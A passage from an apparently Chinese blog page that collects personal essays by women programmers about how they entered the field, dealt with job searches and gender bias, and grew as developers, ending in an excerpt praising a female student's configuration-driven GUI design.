我无怨无悔</h5>\n<p>我在大学学的是计算机与信息科学专业，那是大家有两个方向：计算机和数学。我想我以后肯定是不会从事计算机的，试想一个在电脑前面坐上一个小时就腰酸背痛的人&amp;不能熬夜的人，会从事计算机方面的工作吗？</p>\n<p>现实与人所想差距是很大的。一晃，我已经在IT行业混了3年多了。现在除了不能熬夜，叫我在电脑前面坐上12个小时，一点问题也没有。</p>\n<p>大学我考研是考的数学方面的。那时很是迷茫，不知道自己能干什么，在大学我全身心的投入到那些毫无意义的课本知识上，最后获得的只是一叠毫无价值的证书。考研没有考上我报考的学校。调剂到了另外一所学校，我没有打算读，但是竟然跑出复试了。也许是为了给大学生活句号吧。</p>\n<p>离校时间到了，我已经放弃了读研，而工作是没有着落的，我揣着优秀毕业生的证书被毕业了。毕业那一年的经历，对我打击很大。曾经的自信心，已经荡然无存。时至今日，才恢复得差不多了。2008年6月份，一个偶然的机会，让我走上了IT行业。</p>\n<p>在上海的一个朋友，他公司有人休产假要招人，他在他老大面前极力推荐我，结果就是他老大自掏腰包，出我往返的车费。当时我在湖北。当时的情况是：我只是在大三的时候考过一个程序员的东东，似乎在代码方面得分蛮高的（我记忆不好）。毕业设计的时候做了一个简单得不能再简单的发邮件的东东。我已经有一年没有碰任何跟代码有关的东西。就这样我从湖北跑去上海面试了。其实心里是没有底的，只是有一个强烈的愿望，一定要通过。我急需要改变目前的状况，这一次对于我意义重大。</p>\n<p>面试的时候，是朋友的老大和休产假的同事。也没有问什么，后来说叫我一个礼拜做一个用VB写的计算器。我应聘的工作是维护一个VB 6.0写的ERP系统。面试完后，我就赶紧整合多方资源来解决这个留给我的题目。从网上找相应的资料，寻找朋友的帮忙。</p>\n<p>回到湖北的时候，是表哥去接我的。我请的假比较长，就先去表哥那里啦。这时对于我来说，要紧要的事情就是完成那面试题目并Email出去。在坐了15个多小时的火车后（我坐的是硬座），一直到我把题目给解决后，一刻也不敢耽误。那时精神超好，后来题目解决后，我倒在床上就睡着了。把代码打包连带一篇非常诚恳的文字给面试的人发了过去，之后就焦急的等待结果。终于等来了电话，问我什么时候可以去上班，并说了薪水。当时我高兴坏了，辞了当时的工作，就奔赴上海了！</p>\n<p>最开始的一个月，很难熬啊。我什么都不懂的。专程跑出上海书城买了一本VB 6.0的书来看。等到了我适应得差不多的时候，公司发生了一件事，要裁员了。金融危机呀，当时心惶惶啊，好害怕自己被Fire掉了。因为我这个岗位当时招了2个人，而且我总觉得我是多余的。最后的结局是：我被调出负责另外一个用ASP写的OA系统。之前负责的那人被Fire掉了。</p>\n<p>ASP，我不会。当初老大问的时候，我说应该还好，没有什么问题的。当初说好交接时间是一个月的，那人不同意，最后说是一个星期完成交接。结果是她最后上班的一个星期，她只来了两天。My God！那段时间是我最难熬的时候，User的电话打个不停，而我都不知道怎么解决，而且也找不到人帮忙。真是叫天天不灵，叫地地不应的。全靠自己一点一点的摸索。最终工作终于是游刃有余了。但是ASP我只是皮毛。</p>\n<p>我最初进公司的目的是想学C#，直到09年7月份的时候才接触到了C#。公司的系统要进行改版，用C#来编写。之前的老大因为一些原因，离开了。当时我差点流眼泪了，如果当初不是他，我还不知道自己会怎么样，会不会一生就那样了，就是痛苦的一生了。</p>\n<p>新来的经理，对于我产生了很大的影响。他给我们培训C#的相关知识，其实韩磊翻译的那本经典的C#书籍我都不知道翻了多少篇了，但是因为没有操作，了解到的很少。当经理给我们培训的时候，有一种豁然开朗的感觉，听起来特别带劲。经理给我们讲了程式命名的规范，SP命名的规范，自此我一直按照这些规范来规范着自己。接着就写了关于人事系统的几个窗体。看书和写代码完全是两回事。</p>\n<p>新系统改版，我没有参与多少。能力不够的，在新系统上线（2010年10月份）的时候，了解了一些业务知识。当时心里很苦闷，我想做开发的，不想做维护的。维护做得没有意思，也学不到多少东西。而且要想学东西学得快的话，做开发是学得最快的。实际参与其中，才会去思考相应的解决方法。在寻找解决方法的过程中，就学到了东西。</p>\n<p>现有的工作岗位满足不了我的需求，但是此刻我又不能去找工作，因为我不自信。还是觉得自己什么都不会，其实也就是什么也不会。阅读是排遣痛苦最好的方法，我陆续的阅读了一些书籍。关于心理学方面的，在我认为，最重要的源头就是心理。找到了源头就好解决问题了。</p>\n<p>就这样，让我接触到了周金根的敏捷个人(有关敏捷个人的话题，需用另一篇日志来讲述)。2011年节后返回上海，当时上班没事看，我就看《遇见未知的自己》，因为我正面临着一个问题，不知道是怎么回事，就想从书里面寻找答案。谁知，看完不懂后，又跑出看了《秘密》。而敏捷练习也在进行着，在做个人生活方向盘的时候，我明白了什么对于我来说是最重要的。</p>\n<p>当下也就有了计划，准备换工作了。当对某事有着强烈的愿望时，那事一定会实现的。</p>\n<p>4月中旬，经理离职了，去武汉开公司。我就跟着经理回武汉了。这真是一个很好的机会，在武汉，我周末就可以回家。更重要的是，我做开发，做我喜欢做的事情。此时我已经找不到待在上海的意义了。家人和个人的前途对于我来说，是最重要的。</p>\n<p>经理建议我们至少读三本英文原文书籍，这样之后就看英文就不会排斥了。为什么看书呢？你解决某个问题的时候，在网上找到的资料时很片面的。书里面的知识比较全面，但是需要花时间。还推荐了一些关注的英文网站。Code Project 是必备的。提高搜商是必须的，找准问题的关键点。坚持每天看书。关键是要多思考。充分的运用各种知识的能力。</p>\n<p>我意识到某个地方不足的时候，会找相应的书籍来充电。让我一段时间不看书，会浑身不舒服的。当然我看的书的范围很广泛的。</p>\n<p>从事这个行业，本来就不是那么轻松的事情。而我不喜欢轻松的工作。这个行业不断的出现新的知识，需要不停的学习。其实不管哪个行业，都需要不停的学习，否则很快被淘汰的。</p>\n<p>爸妈曾经说过，如果我当初去读研，毕业后去学校教书就好了，工作稳定。未来的事情谁说得到呢。我不喜欢当老师，而且在这个变化莫测的社会，又有什么是稳定的呢？同学、朋友跟我讲，女孩子干这行太辛苦了，转行吧。可是我能够体会到乐趣所在。为自己写出了一段好的代码，或者是解决了某个困难的问题。</p>\n<p>这个行业要加班，熬夜，那么为什么不能从别的角度来看这个问题呢？提高自己的工作效率，管理好自己，是不是可以解决这个问题呢。</p>\n<p>这一年，我一直在修生养性，读灵修方面的书籍。人管理好自己后，其他的是不是就不是问题！</p>\n<p>从事这个行业，我无怨无悔。现在我还是菜鸟，需要学习的东西很多。未来的路还很长，我坚信我会走好的。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Cathy &#8211; 一个非典型的女程序员的曲折经历</h5>\n<p>简单介绍一下我自己吧，我07年从一所TOP10的著名理工大学计算机专业硕士毕业，目前在一间世界500强的欧美通信公司担任高级系统软件工程师的职位。</p>\n<p>因为本科并不是学的传统计算机专业，而是计算机与通信的交叉学科（课程设置上少了面向对象、JAVA程序设计等计算机高级专业课程，增加了很多电子线路设计、通信、信号论等）。毕业时因为专业课成绩优异直接保研。如果说本科毕业的时候，自己还是颇为踌躇满志，那研究生的三年就是郁闷的开始。保研后，虽然还在计算机专业但主要从事的是硬件电路板的开发。项目组的组长是一个博士，人很好但是不太会和女孩子打交道，或者说有一些性别歧视吧。进入项目组之后，一开始做了一些电路板的Schematics、PCB layout和Debug的工作，也得到了组长的好评。但是渐渐的，由于我并没有表现得非常的积极主动和对技术充满热情，组长分给我的任务越来越少。我也越来越苦闷，当时的我还并不知道该如何面对这种情况。组里曾经也来过一个女生，面临比我还要糟糕的情况，记得一次项目组吃饭当时那个女生没来，组长直接对我们大家说这个女生能力不行，没过多久她就被调去别的组了。但是我还留在这里，组长几乎很少和我说话，当时的我不知道如何向他表达我的心情也不知道自己想要什么，陷入对自己能力的深深的否定中，当时的想法只有一个：赶快毕业吧。这种情况一直持续到研二下学期。最后一年碰到了一个去国外实习半年的机会，毫不犹豫的就去了，是在一个很牛的电子公司里做电子工程师助理。干的活基本和在项目组干的差不多，画图调板子打杂，但是这半年我想清楚了一件事，就是我对干硬件没啥兴趣如果不能做IC design的话就转去做软件吧！</p>\n<p>但是，当时的我还陷入在对自己能力的盲目乐观中，总觉得自己之前成绩很好，做实验写程序从来不输给男生，想转应该不难吧。回国后迅速搞定论文就开始找工作了。找工作的时候，现实很快无情地把我打倒了。因为当时我的男朋友也是现在的老公已经早我几年毕业在北京工作了，而且发展得很不错，所以当时我也一心只想找北京的工作。可是自己过去三年几乎没有写过程序，和学校里众多写过N年程序的同学竞争，结果可想而知。我只能拿到去其他城市做硬件的offer，但是却无法拿到去北京做软件的offer。这时，我的自信心跌到了谷底，TOP10大学的TOP10学生（即使读研期间很郁闷但是还是拿了不少奖学金，而且去国外半年也赚了不少钱）居然找不到工作。后来，在一个师兄的推荐下，得到了我的第一份工作，在北京的一个小公司做嵌入式软件开发。</p>\n<p>虽然能来北京做软件，但和我去Google、Microsoft、IBM的同学相比，失落感不言而喻。几乎每个认识的人都会问我为什么去那个公司，为什么不去大外企，为什么不留在国外。这种失落情绪笼罩了我工作的第一年。但是还好，这个公司没什么牛人，并且因为我很好的学习能力，很快上手了。因为做底层软件需要对各种硬件接口、中断、DMA、处理器深入理解，我之前做硬件的经验也派上了用场，只用了半年时间，我就开始独立负责项目了。从第二年开始，我开始参与公司一些重要产品的开发，越来越得心应手。</p>\n<p>期间，公司从其他部门调了一个工作多年的男程序员来做我的领导。一开始，我很高兴，因为了解到这个人技术不错，而且一直做上层软件所以对面向对象、设计模式、软件架构、代码规范都颇有经验，我正好可以向他学习。但是，一起工作了一段时间后，矛盾出现了。这个人认为我虽然学东西很快对公司产品业务熟悉，但是对技术缺乏热情很少主动学习技术，对很多软件开发的基础也掌握得不够，所以每次对我的评估结果就是一般；而我当时初出茅庐，认为这个人对硬件毫无了解并且没有很快在做底层软件上证明自己比我牛，所以很不服气。记得当时一起开发一个产品，因为我对主要的业务逻辑更熟悉，所以挑了最复杂的业务逻辑模块来做；他则负责其他几个通用模块的开发。为了证明自己，我只用了他一半的时间就完成了所有功能。在联调测试过程中，由于他是项目的负责人，所以每次Bug都是先提交到他那里然后再由他来指派给对应的人来负责。因为他对平台不熟悉，所以每次解Bug都要连调试器跟很久，而我常常只通过代码Review就能找出问题所在。渐渐的，所有测试的问题都直接反馈到我这边；后来产品上市，售后碰到解决不了的问题也会直接反馈到我这里。等到我们一起开发第二个产品的时候，那个男程序员几乎完全交由我独立负责。半年后，他调回了他之前的部门，我们共同开发的两个产品也顺理成章由我独立负责下去。</p>\n<p>在公司工作三年以后，我对继续呆在这个部门里干软件开发渐渐失去了兴趣，基本都是重复性的劳动，而且由于是小公司除了开发之外还有很多杂事（比如因为公司售前售后没有技术背景，常常需要开发去Support；因为薪资不高常常会招一些水平较低的工程师，需要很多力气去Training）软件水平也难以再提高。而这时，公司也有意让我转向业务型负责人的方向，这几乎是在当时公司晋升的唯一途径；而如果升职，之后基本和程序员Say Bye了。可是真的要放弃做开发吗？以当时所在行业规模和公司本身的名气地位来说，如果不做开发，我很难想象以后跳槽的机会在哪儿；如果做开发，我又很难在公司继续获得我想要的。于是，我接受了公司的安排，去体验一下程序员之外的工作是否适合，同时也积极寻求跳槽的机会。在公司的最后半年，我几乎脱离了开发的工作，主要的工作内容是调研公司计划新开辟的产品线的产品形态及技术，去往各地出差做客户交流，和开发部门开会制定产品开发计划。在这半年里，我开始怀念单纯的程序员生活，不用去应酬形形色色的陌生人，即使公司倒闭也能很快找到工作养家糊口的踏实感。</p>\n<p>第二次找工作的经历和第一次完全不同，有了之前几年的工作经验，我很快就拿到了几个大公司的offer。通过面试，我也逐渐认清了自己的不足之处。回想起来，我觉得之前那个男程序员说的一点没错。我并不是个本身对技术非常有热情的人，之前的研究生经历也是如此，后来工作也常常认为自己学东西快所以技术可以等到用的时候再学。面试的时候和一些经验丰富的面试官交流，可以非常明显得感受到热情这个东西对技术水平有着多么重要的影响。但是，另一方面，我对技术也并不是完全没有热情，这种热情很大程度受外界环境的影响。如果在一个大家都很牛都很积极学技术的环境，我也非常乐在其中。选择目前的公司，一是因为当时经历了比较艰苦的几轮技术面试，另一个重要的因素就是这里是有可以正面影响我的环境。目前在现在的公司工作了大半年，虽然部门三十多个程序员就我一个女孩（但是很多男程序员级别都比我低，哈哈）但是很开心，周围都是聪明并且富有经验的同事，让我受益很多，对技术也越来越有兴趣。</p>\n<p>这就是我有点曲折的女程序员经历，但也是女程序员们很有可能会碰到的情况，譬如性别歧视，譬如对技术的热情等等。我觉得做女程序员不容易，女程序员由于女性的心理特质容易把负面的情绪扩大。所以女程序员最重要的是内心强大，碰到不信任你的领导或男同事，要大胆说出自己的想法，同时拿出有说服力的行动。另外，从我自己的经历和我面试过的女程序员来看，女孩通常会专注于完成工作，不像男孩那么对技术有热情；而且社会上也有各种声音说女孩不适合做程序员，于是女孩也容易自我怀疑。我的经验是，有时候先暂时不要想究竟适不适合，努力做一段时间，有些事情需要深入到一定程度才会有兴趣，如果还是不喜欢再考虑是不是放弃。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Linn &#8211; 误打误撞的程序员</h5>\n<p>昨天老公发来的网址给我看。<br />\n那时候刚好项目上线，大家要去聚餐，就匆忙的瞅了一眼，跟老公开玩笑说，怎么样，我也写一篇？<br />\n他说好啊。</p>\n<p>今天是2011年的最后一天。<br />\n挺有纪念意义的，回顾一下。</p>\n<p>我是高中生，05年毕业，去了北大青鸟，我知道现在很多人对北大青鸟的看法褒贬不一。<br />\n怎么说呢，一母生九子吧。</p>\n<p>其实当初高考失败，我不想去上大专，更不想复习，我知道自己学不进去。<br />\n那时候接触电脑不多，可能也就一周一次的电脑上机课，但我就是对它很有兴趣。很单纯的。</p>\n<p>接着，同学听别人说了北大青鸟，然后想让我跟她一起去。<br />\n其实，当时我连编程是干什么的都不知道。哈哈。<br />\n我那个同学也是女的。<br />\n我说服不了我爸爸，我爸爸还是比较想让我上大专，他说至少你出去长长见识。<br />\n我脾气比较倔，想一件事，就一定要去做，我带我同学去我家，她的劝说能力比较强，最后我爸无奈之下同意了。</p>\n<p>然后我就离开了我们县，去了我们省的省会。</p>\n<p>第一次出远门。<br />\n我当时不会讲普通话，我觉得自卑（现在想想我真是很容易自卑），到了那里后，同学跟她姐姐有事出去了几天。<br />\n那几天我就跟个傻子一样，就在她姐姐租来的小屋子里呆着，没有电视，没有电脑，甚至我不怎么出去吃饭。<br />\n寂寞、孤独、无助、茫然。<br />\n其实人的恐惧源于无知。对这个城市的无知，对未来生活的无知。</p>\n<p>我终于没有忍住，给家里打了个电话，哭了。<br />\n我爸跟同学的爸爸听说后，立马就坐车到了我住的地方，我那时候真的没有想到有那么严重的结果。<br />\n我爸爸一直都比较宠我，我没想到他们会来。<br />\n那天我刚好跟同学还有她姐姐出去玩，很晚才回来。<br />\n那是夏天，很热，就看到两个老人满头大汗的在我们住的屋子对门那家，吃西瓜。<br />\n我差点又哭了。<br />\n第二天早上，我爸问我，他说，你还想留下吗。<br />\n我说想。<br />\n就这么回去了，我觉得没脸。</p>\n<p>我想那时候我爸就彻底死了劝我回去的心了吧。</p>\n<p>然后交钱上课。</p>\n<p>大家刚学编程的时候可能都会有那样的经历，计算机本来就是一个很抽象的东西，编程，就是抽象中的抽象。<br />\n刚上课的时候，很久没有玩过电脑，我甚至忘记了本来就不怎么熟悉的盲打。<br />\n我很清楚的记得班主任跟我说：盲打还不会，基础不行啊，多练习练习。</p>\n<p>2005年8月份，到2007年3月份，我毕业了。</p>\n<p>这时候我的状态：学过多门编程语言，主打java，当初学了app4.0，4.0的课程里有struts1.2，oracle等。<br />\n但，知其然不知其所以然，还是懵懵懂懂的样子。</p>\n<p>其实我们当时有两个就业方向.NET，J2EE，当时还是叫J2EE的。<br />\n都说J2EE是比较难的，我为什么学这个，说起来也有点搞笑，因为我觉得，.NET可视化功能太强大了。<br />\n我本来就学的懵懂，不精，控件拖来拖去的，我就更迷糊了。不如JAVA一行行代码写起来来的踏实，哈哈。</p>\n<p>第一次面试，现在说起来真的很鄙视当时的自己。<br />\n我本来是相当老实一孩子。<br />\n我们当时有就业部，负责学生就业。<br />\n教我们如何面试，如果跟面试官交流，如何突出自己的优点。<br />\n我记得特清楚的是，如果人家问你的缺点，你可不能真说你自己的缺点，要说一种看起来像缺点，实际对编程或者公司来说是优点的。<br />\n我真是傻孩子，我这么干了，记不太清我的原话了，但大意说自己比较执着什么的。<br />\n面试官最后说了一句话让我无地自容至今，他说：这不还是你优点吗？</p>\n<p>07年4月9号入职。公司做一个门户网站。</p>\n<p>公司给新员工机会，试用三天。<br />\n就是看公司原有的框架spring+ibatis，做一个功能给pm看，如果可以，就留下。<br />\n我运气有点背，机器有问题，不时的挂。<br />\n再说我也没怎么看懂的说，三天过去以后，没能拿出来一个东西。<br />\npm过来看了一下，然后跟人事说，回来的时候表达要我离开的意思。<br />\n当时我内向啊，有点懵。<br />\n我跟他说，我机器有问题。<br />\npm人也很好，他说那再给你半天吧。<br />\n这时，我后来的组长，真的给我很大的帮助，他说你应该怎么怎么来。<br />\n其实我本来有些懂的，他那么一说，我顿悟了。<br />\n1个小时，或许不到，反正很短，我又叫pm过来看。<br />\n他跟我说，好了，你可以留下了。<br />\n我跑到卫生间，那瞬间，真的很想大哭。兴奋、激动、委屈。我也读不懂当时的那种感情。</p>\n<p>其实这个公司并没有让我的技术提高多少。<br />\npm是一个技术相当强悍的人，至今见过这么多人，我依旧这么觉得。<br />\n框架里的很多东西，当时不太能理解的了。<br />\n但是当初经历的那群人，真的让我铭记至今。</p>\n<p>09年，男朋友毕业，留在了另外一个城市，我所在的公司宣布解散，于是我也过去了。</p>\n<p>其实我觉得我内心深处有一股非常强烈的自卑，我不知道这自卑来自于过度的谦虚，还是觉得自己的水平真的不行。我想或许两者兼有。</p>\n<p>在这个城市的面试很糟糕，我是一个很简单的人，只是想尽自己的努力去做一些事情。<br />\n后来留在了一家公司，公司新开的一个部门。<br />\n招的都是几个大学刚毕业的学生，有几个从达内出来的。<br />\n他们的技术不是不怎么样，是真的很不行！<br />\n于是我跟另外一个男同事就成了头儿。</p>\n<p>那时候的项目是给公司自己用，做页面，写css，写代码，服务器，几乎都是我来牵头。<br />\n那一年的时间，对我的感触很大，技术也提高很多，因为什么事情都是你自己来做，自己去想。<br />\n压力很大，但也很茫然。我不知道自己在做些什么。因为公司毕竟不是正规的it公司，我自认自己技术挺烂，真的需要人协助。</p>\n<p>说一下我的男朋友。<br />\n他一直喜欢手机上的东西，知识面覆盖非常广。<br />\n10年6月份的时候，北京有一个机会，他过来面试，然后留下做iphone手机开发了。<br />\n于是我也着手辞职跟着过来。</p>\n<p>北京的面试依旧不怎么乐观。于是我几乎每天晚上看基础知识看到很晚。<br />\n我一个同事说的好。他说如果你不能说，你就只能靠做面试题来让对方看到你的水平。</p>\n<p>我还是算运气比较好，一个星期的时间，我收到了现在公司的offer。</p>\n<p>或许你看到这里已经明白，我几乎是跟着男朋友的脚步走。<br />\n事实上，是这样的。<br />\n做程序员，只是我要做的一件事。而家庭是我的全部。<br />\n事业上，我其实一直都很茫然。<br />\n我想是有这样一部分的人存在，他们没有梦想，没有目标。<br />\n我说的梦想是指那种真心喜欢，并能为之奋斗一生的事情。<br />\n我想我就是那样的人。<br />\n但这种人必然有另外一种追逐的东西，比如，我时刻都很清楚家庭才是我的全部。<br />\n我会找一份不很累的工作，有充裕的时间，来陪伴他们，同时也让自己有事情做，不空虚，不无聊，不虚度。<br />\n但这不代表我工作会做的很糟糕，相反，我第一个项目经理跟我说，以后如果我开了公司，我第一个就会找你。<br />\n我第二家公司的老板，在我来北京之后还打电话叫我回去。<br />\n现在的公司，领导跟我说，我见过很多跟你一样条件，从北大青鸟出来的人，但像你这样的，真的少见。</p>\n<p>我做程序员，其实算误打误撞，现在想想，我当时向往的应该是美工设计之类的工作。<br />\n我不是什么技术大牛，我碰到的女程序员，也没有什么技术大牛的。<br />\n但是他们都有一个共同点，就是不管他们做任何东西，只要交到他们手上，在相等条件下都会比男同事做的好。<br />\n这可能跟女孩子天生的认真细心有关。</p>\n<p>这篇文章，可能看起来比较乱。<br />\n但我想表达的一个意思就是，其实女程序员很普通，也特别，神秘，也不神秘，如果你了解了的话。<br />\n但她们绝对是可爱的。大多数有着男孩子的性格，豪爽。<br />\n所以我时常说这世界上有男人、女人、女博士、女程序员，哈哈。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Nana &#8211; 做喜欢做的事，所以很开心</h5>\n<p>你好，关于女程序员的那篇blog是群里一个GG推荐我看的。这应该算一个励志故事吧，可是一般励志故事都没什么意思，不是苦大深仇，就是从委屈一路走到故事末尾，见到一点小小的胜利。说的故事虽然到了末尾，但人还活着啊，所以真正的故事还没完呢。对励志剧不太感兴趣，因为事实往往是，努力不一定会成功，而且不成功的在大多数。</p>\n<p>我的故事无关成功与失败，随便看看。先说说为什么会去写程序这件事吧。起初完全不相关的，我喜欢的是动漫。但是对于自己的画画和分镜都不看好，于是想到了游戏。动漫游，是不分家的。游戏行业有许多种职业，常见的小工有：策划美术程序。这3种职业的相关基础课都上了下，其中，编程给我留下了非同寻常的印象：这件事情，太TM好玩了！！即便会拉3D模型、会设计游戏的灵魂世界观，也不能同它相比。于是，几乎没怎么犹豫就开始学习编程了。</p>\n<p>一开始是学java，比较容易的。后来接触了C++，貌似稍微复杂点，不过总的来说，会了一门语言其它的都有点异曲同工，所以不管性别如何，其实没啥差别。在工作中，也没觉得人家拿我性别说事或特殊化，大家都凭能力干活拿薪水，可能比某些靠关系的行业好一点。很想推荐下我们项目组正在开发的这个游戏，但又怕一说名字就暴露了，呵呵，我们组就我一个mm。</p>\n<p>人家都说，编程薪水高，我不能说这是假的，但我的同学中，薪水高的都是加班连轴转、除了程序不太想其它的。用那样的精力时间换来的高薪，到哪个行业都能换到吧。</p>\n<p>学历，貌似在编程这个行业里更加渺小了吧。只有一次去面试一家大游戏公司时，被问过是不是重点大学。其它公司基本不怎么关心，更看重能力。也只有一次，在面试中，被问到是否已婚。可能是怕生孩子耽误工作吧，人走了活儿给其他人干，其他人虽然不说什么，但无形中增加的压力是肯定有的。但在这里我要说一句，这些面试官思维都有点传统啊，其实不结婚也可以生孩子、已婚生完孩子的也可以再生啊。要不你们干脆就说，女性勿面试，不是更好？！</p>\n<p>做程序是吃青春饭，这话有点道理的。我现在的工作，是喜欢干的事，所以很开心。但如果是一个需要养家糊口的GG，可能就不能只顾着自己开心了。所以说，做程序员，mm也许更合适？</p>\n<p>呵呵，午休结束了，回去干活～</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Gift &#8211; 当一名战士就是一支军队，那些软件不需要工程的时候</h5>\n<p>请允许我为公正评价女程序员做一点贡献。以下文字所提到的关同学是一位女程序员。</p>\n<p>注：以下文字已发表于[http://blog.csdn.net/younggift/article/details/7166600]。</p>\n<p>* 最初的代码</p>\n<p>1994年，当我开始对编程感兴趣的时候，还没有软件蓝领这一说法，但是我已经有了后来软件蓝领流行起来以后的困惑。</p>\n<p>我第一次做的比较大的程序，是用GW-BASIC写的，没有IDE界面，需要按行号插入，黑底绿字的显示器，单个软驱倒腾用两张盘。 (感谢我们的导员刘春光老师每天中午借我用他的计算机) 要编的程序是自己想出来做着玩的，一个DOS界面下CGA显示模式，菜单方式的……班费管理程序。如同齐同学的那个定票系统，这个软件并没有实际应用，不过，它对我来说，比此后所有写的程序都更难。</p>\n<p>代码后来参加一个比赛的时候，打印了唯一的一份纸质版，打印纸抻开比我举起手还要高。我当时遇到了程序设计中的核心问题&#8211;大量的代码，复杂的逻辑。</p>\n<p>我当时使用了GW-BASIC提供的一个非BASIC的功能 gosub，类似于函数调用，它帮助我逃过了程序彻底混乱的厄运。后来当我学到模块化思想的时候，如遇故人。我毫不费力地就接受了这个观念，因为痛过，所以印象深刻。</p>\n<p>后来经常见到有初学的同学函数写得超出两三屏，还很得意自己逻辑控制能力。我就在心里撇嘴，你那是还没受够罪。</p>\n<p>大量的代码，复杂的逻辑。软件工程给了我们某个答案，就是软件蓝领，它声称大量的人工、短期培训、重复地简单劳动，能够解决&#8211;以工程的方法&#8211;大量代码和复杂逻辑的问题。</p>\n<p>是的，我们这么干过，好几千看前就这样做。埃及盖金字塔，是没有起重机的，而是靠几千几万人力完成的；中国的古长城 (不是当代的) ，也没有等待现代电子计算机和通信技术的发展，而是靠万喜良们的双手堆砌出来的。</p>\n<p>那个时候，他们一定期待一种东西，可以用燃油作为动作，稳妥精确地运输沉重的材料。</p>\n<p>但是他们没有。因为是时代是父亲是民族选择我们，而不是反过来，所以很多时候很多事情都不能一蹴而就。</p>\n<p>有的时候，智力或自然的法则也参与限制。</p>\n<p>* 他们说，没有解析解</p>\n<p>在数学当中，有一种解题的方法得出的结论称为解析解。我们解一个方程，得到结果，如果我们所做的常见运算只需要 有限次，那么，这个结果就称为解析解。</p>\n<p>这是什么意思呢？就是说，你可以通过公式，只需要一个大式子，可能非常大，但是最终可以计算出结果，直接地。</p>\n<p>难道不都是这样么？不幸的是，还有一些方程，伟大的牛人数学家们告诉我们，有些方程就是不能通过公式求出来。而我们在工业生活中还需要求解。</p>\n<p>数学家牛人们还是有办法的。他们创造了另一种方法，用猜测-比较-再猜测，大致这样的方法，逼近我们寻找的那个数。这些牛人们中的第一位就是著名的牛顿。</p>\n<p>但是，我们得到的是那个&#8221;数&#8221;，是整个方程中的一段，而且是粗糙的。精细的完全一致的解，可能永远也无法求得，我们得到的就是对于当前的应用&#8221;足够&#8221;精确<br />\n的个案。</p>\n<p>人类是多么地热爱形而上，热爱一次性解决所有问题啊。可是，数学牛人们说，有时候，你哭也没有用，就是不行。</p>\n<p>在程序设计中也是一样，只有工程方法，有人说，就是蓝领方法，才能解决大量代码和逻辑复杂的问题。</p>\n<p>如果没有燃油，没有热功当量，除了征服更多的奴隶，又有什么方法能够赢得自己的自由呢？</p>\n<p>但是，我们是否已经判定程序设计一定没有解析解，所以只能靠人力逼近？</p>\n<p>* 解析解</p>\n<p>我和李记者曾经对刘典同学怀有偏见，认为他(没有虽然技)技术极好 ，但是却从不注重软件中的工程，也不怎么注重合作。</p>\n<p>今天，关同学用事实给了我强烈的教育。她用事实告诉我：软件工程为什么有时可以忽略？因为有的程序员，她一个人可以完成超过100个程序员的。</p>\n<p>就像有的战士，一个人就是一支军队。</p>\n<p>刘典同学讲过他写数据库的程序用了编译原理生成代码，讲过写手机游戏的时候用虚拟机。前几天，我刚刚写了3千多的代码生成器，吐出来近6万行代码。这些<br />\n给我的印象也都没有今天这样深刻。</p>\n<p>程序设计，是一种创造工作，就像写小说。与写小说不同的，你所创造的是一台机器，它可以做很多事，你甚至可以制造一台机器，它以代替你写作最终需要的<br />\n代码。</p>\n<p>在所有的计算机本科都开设了相关的课程，叫做编译原理。在一定程度上，这是一个解析解。</p>\n<p>* 关同学</p>\n<p>今天我CIAC的导师请大家吃饭，辛苦一年。导师本人想参加，我托包师弟说：不欢迎他。如果导师出现，今天稍微拘谨的场面，就可能令聚会完全不同。</p>\n<p>我们讨论了，我们吃午饭了，我们唱歌了，我们又吃晚饭了。</p>\n<p>刚开始吃晚饭没多久，包师弟说：2012的上半年，我们有一些任务要完成，相当于本年度完成任务的40倍工作量。</p>\n<p>他说：这些工作都是相似的。</p>\n<p>可是这些相似的工作如果不能抽象出其中相同的部分，就没有一点相似。我们人类看到的相似，对于构造代码而言，毫无用处。</p>\n<p>我看不出来相似。然后我想了几个方案，又都推翻&#8211;我在想从哪里抓那么多奴隶来，又用什么报偿他们，工程本身于他们何益。其实，同学们并非奴隶，必须保<br />\n证同学们有足够利益和受益，否则除了我自己，一个人也派不出来。</p>\n<p>我说：包师弟啊，你能不能别在吃饭的时候说这个，我都吃不下去了。</p>\n<p>我真的吃不下去了。焦虑。而且，从这以后，我真的几乎没吃啥。</p>\n<p>奇迹时刻。</p>\n<p>关同学说：老师其实我想了，这些方案都是类似的。</p>\n<p>我说：啊？</p>\n<p>她说：所有的界面都可以……根据配置文件，new 出 一个 label来……</p>\n<p>是的，不熟悉关同学的，对女生能否写好程序有疑问的，请仔细看一下，她，不是他。</p>\n<p>而且，她也不必再解释这个方案，因为软件组可以全体解散，而剩下的工作，只需她一个人短时间就可以完成。</p>\n<p>这就是抽象的力量。</p>\n<p>她没有写GUI，而是解析配置文件生成了GUI；她绕过了令我头疼的C#如何表示GUI&#8211;这样就可以生成RC文件，在编译前，我考虑过的方案&#8211;而是在运行时，new<br />\n出所有的GUI控件来，相当于解释执行的。</p>\n<p>* 后来</p>\n<p>后来，全体软件组成员加入了硬件组，将承担下位机的代码。很好，我终于不用再讨厌他们用的IDE了，因为再也没有他们熟悉的VS什么的了。我们都开始进入<br 